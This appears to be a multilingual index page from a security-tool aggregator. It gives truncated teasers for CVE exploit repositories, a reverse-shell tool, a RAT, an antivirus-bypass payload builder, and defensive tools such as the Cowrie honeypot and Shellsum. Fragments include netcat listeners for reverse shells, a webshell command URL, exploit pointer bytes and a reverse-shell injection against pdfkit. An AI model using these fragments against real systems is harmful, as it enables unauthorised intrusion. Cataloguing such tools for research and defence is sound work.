hacker-scripts

Английский | 简体中文 Хакерские скрипты Основано на реальной истории : xxx: Итак, наш билд-инженер ушёл в другую компанию. Чувак буквально жил в терминале. Знаете, такой тип, который любит Vim, создаёт диаграммы в Dot и пишет wiki-посты в Markdown... Если что-то — вообще что-то — требует больше 90...

CVE-2018-17246

CVE-2018-17246 - Kibana LFI 입력 검증이 없으므로 JavaScript 파일의 이름을 원하는 대로 변경할 수 있습니다. 이 경우 경로 탐색Path Traversal 기법을 사용하여 Kibana 서버의 모든 파일을 선택할 수 있습니다. 그러나 주의해야 할 점은 Node의 모듈 캐싱 기능입니다. 본질적으로 LFI가 사용자 입력을 검증 없이 Node의 require 함수에 전달하여 작동하기 때문에, 포함된 모듈공격자의 페이로드은 파일 이름별로 캐시됩니다. 즉, 동일한 페이로드를 보내 리버스 셸을 복구하는 등의 작...

CVE-2019-7609

CVE-2019-7609 Kibana Kibana의 Timelion visualizer의 결함으로 인해 리모트 코드 실행이 가능한 취약성 환경구성 docker 1. 첨부된 docker-compose.yml 을 실행한다. root@kitploit: docker-comopse up -d 2. 브라우저에서 http://127.0.0.1:5601에 접속한다. Exploit 1. reverse shell을 준비한다. root@kitploit: $ nc -lvp 6666 2. Kibana의 Timelion 화면에서 페이로드를 입력 후,...

CVE-2020-15227

CVE-2020-15227 면책조항! 나는 이 도구가 실제 환경에서 사용될 경우 아무런 책임도 지지 않으니 절대 하지 마세요. 이건 단지 데모용이고 시스템 관리자들이 테스트할 용도로 만들어진 것입니다. David Grudl Nette 재단의 창립자의 CVE 공개에 따라 이 익스플로잇을 제작했습니다. 그는 문제를 상당히 빠르게 해결하지 않았고, 보안 담당자들에게 가능한 침해를 검사할 수 있는 문서공격 방법를 제공하지 않았으며, 이를 은폐했습니다. 자, 이제 시작합니다. 보안 연구자로서 저는 물론 교육 및 시연 목적으로 작은 괴물...

cowrie

.. SPDX-FileCopyrightText: 2014 Upi Tamminen [email protected] .. SPDX-FileCopyrightText: 2014-2025 Michel Oosterhof [email protected] .. .. SPDX-License-Identifier: BSD-3-Clause Cowrie Cowrie란 무엇인가 Cowrie는 중간높은 상호작용 수준의 SSH 및 Telnet 허니팟으로, 무차별 대입 공격과 공격자가 수행한 셸 상호작용을 기록하도록 설계되었습니다. 중간...

CVE-2022-37042

CVE-2022-37042 Zimbra CVE-2022-37042 Nuclei 무기화 템플릿 셸 경로: /public/formatter.jsp Nuclei 자체: https://github.com/projectdiscovery/nuclei 셸에는 불투명도 0인 숨겨진 입력이 있으므로 마우스를 올리기만 하면 명령을 입력한 후 Enter 키를 누르면 됩니다: 예시 셸 URL: root@kitploit: https://ms1.fission.com:8443/public/formatter.jsp?cmd=id CVE-2022-37042...

CVE-2022-1292

CVE-2022-1292 POC 설명 root@kitploit: The crehash script does not properly sanitise shell metacharacters to prevent command injection. This script is distributed by some operating systems in a manner where it is automatically executed. On such operating systems, an attacker could execute arbitrary...

cve-2011-2523-vsftpd-validation-lab

CVE-2011-2523 — vsFTPd 2.3.4 Backdoor Validation Lab ⚠️ Authorized Lab Only — conducted in an isolated VirtualBox Host-Only network using Kali Linux and Metasploitable2. No unauthorized systems were scanned or accessed at any point. Overview CVE-2011-2523 is one of the most well-known supply chain...

GhostLock-Galaxy

GhostLock-Galaxy 中文: READMEZH.md This is a separate repository because this route requires Android shell permission, obtained through adb shell or Shizuku. The original YuKongA/ghostlock-app does not use shell permission and follows a different execution route; its requirements and code path shou...

nushell

Nushell Новый тип оболочки...

joro

Joro 공격적 보안 전문가를 위한 웹 공격 프레임워크입니다. 단일 바이너리와 내장 웹 UI로 인터셉팅 프록시, 블라인드 취약점 탐지, 웹 셸 생성, C2 통합, 협업 도구를 제공합니다. 경고: 이 도구는 승인된 침투 테스트 및 보안 연구 목적으로만 사용해야 합니다. Joro는 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에 대해서만 사용해야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. Bishop Fox는 이 도구의 오용이나 손상에 대해 어떠한 책임도 지지 않습니다. 책임감 있게 사용하십시오. 기능 Joro...

CVE-2024-21762

CVE-2024-21762 Fortinet FortiOS의 CVE-2024-21762 취약점에서 발생하는 경계를 벗어난 쓰기Out-of-Bounds Write 취약점 assetnote의 익스플로잇 PoC root@kitploit: ssldohandshakeptr = b"%60%ce%42%00%00%00%00%00" getcwdptr = b"%70%62%2c%04%00%00%00%00" pivot1 = b"%52%f7%fd%00%00%00%00%00" push rdi; pop rsp; ret; pivot2 =...

xc

XC Reverse shell, подобный Netcat, для Linux и Windows. Возможности Windows root@kitploit: Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists...

CVE-2025-20281-2-Cisco-ISE-RCE

CVE-2025-20281-2-Cisco-ISE-RCE Cisco ISE API에 대한 인증되지 않은 CVE-2025-20281 RCE Python PoC CVE-2025-20281 인증되지 않은 PoC Cisco ISE의 ERS API에서 인증되지 않은 RCECVE-2025-20281를 InternalUser 리소스에 임의의 셸 명령을 주입하여 악용하는 최소한의 Python 개념 증명입니다. 경고: 소유하거나 명시적 테스트 권한이 있는 시스템에서만 실행하세요. 이 도구의 오용은 불법입니다. 기능 인증 불필요 두 가지 모드 지...

shellsum

Shellsum 무엇인가요? 방어 도구 – md5sum을 통해 로컬 디렉터리에서 웹 셸을 탐지합니다. 특징 빠른 속도 가벼움 방대한 데이터베이스 테이블 출력 사용법 설치 root@kitploit: git clone https://github.com/ManhNho/shellsum.git chmod 755 -R shellsum/ cd shellsum/ pip install -r requirements.txt 실행 root@kitploit: python shellsum.py 데모 할 일 출력 다듬기 파일 보고서 내보내기 모듈화...

CVE-2023-22527-MEMSHELL

프로젝트 소개 이 프로젝트는 Boogipop 님의 프로젝트 https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL 를 참고하여, 원 프로젝트에서 다음 기능을 지원합니다. 1. 빙셰BingXie 메모리 셸 주입 2. HTTP 프록시 기능 추가, 사용법: -proxy http://127.0.0.1:8080 3. 명령줄 인수 구문 분석 코드 수정 취약점 환경 메모리 셸 주입 과정에서 사용된 환경은...

XeytanWin32-RAT

경고 이것은 버그가 많은 RAT이며, 완성되지 않았고 안정적이지 않습니다. 여전히 "작업 진행 중"인 애플리케이션입니다. 소개 제 자유 시간을 때우기 위해 만든 프로젝트로, 적극적으로 유지 관리되지는 않습니다. 개선/수정할 것이 많으며, 이 프로젝트가 안정화되려면 시간이 걸릴 것입니다. 기능 리버스 셸 프로세스 목록 데스크톱 스트리밍 파일 시스템 파일 다운로드 프로젝트 이해하기 IThreadChannels는 두 스레드가 동기적인 방식으로 통신하기 위한 수단입니다. 저는 이들을 두 스레드가 통신을 위해 공유하는 원자적atomic...

CVE-2020-15778-Exploit

CVE-2020-15778-Exploit CVE-2020-15778OpenSSH 취약점용 익스플로잇 예: python CVE-2020-15778.py -ip 192.168.11.123 -lhost 192.168.11.124 -lport 1234 python 스크립트를 사용하기 전에 netcat으로 포트를 리슨해야 합니다 예: nc -lvp 1234 1.스크립트 사용 스크린샷 2.쉘 획득 스크린샷 2021-7-21 업데이트 로그: 호스트 상태 확인을 위해 python-nmap 사용 사용법:python3...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL経由（太字 の値を変更）: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

AVBypass

안티바이러스 우회 보호 요구사항 golang 설치 사용법 root@kitploit: 1 - create your payload go run create.go e.g: go run create.go 1.1.1.1 443 SecRetkira https://www.youtube.com/watch?v=Rv4VzpGCEEM 2 - in output folder you will find shell.go compile it go build shell.go 3 - now you have exe file to execute run netcat...